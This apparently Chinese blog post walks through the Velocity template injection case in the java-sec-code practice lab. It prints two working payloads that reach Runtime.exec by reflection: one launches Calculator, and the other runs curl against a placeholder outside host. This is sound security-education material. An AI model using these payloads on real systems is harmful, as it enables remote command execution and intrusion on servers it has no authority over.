0
点赞
收藏
分享

微信扫一扫

[Java-sec-code]Java velocity SSTI

看山远兮 2022-10-27 阅读 202


文章目录

  • ​​Java velocity​​
  • ​​SSTI​​

Java velocity

可以看一看这一篇文章
​​​java velocity模板用法(替换、循环、if判断)​​​​《Velocity 模板使用指南》中文版​​

SSTI

SSTI模板注入啥的都很清楚了,我们这里看看代码,在​​org/joychou/controller/SSTI.java​​下面

[Java-sec-code]Java velocity SSTI_java


接收参数​​template​​并解析

这里官方给了一个payload

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

当然由于本身有​​context.put​​​放入了一些参数,通过​​java.lang.String​​也可以

$address.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl http://xxxx?a=4s589")

[Java-sec-code]Java velocity SSTI_4s_02


举报

相关推荐

0 条评论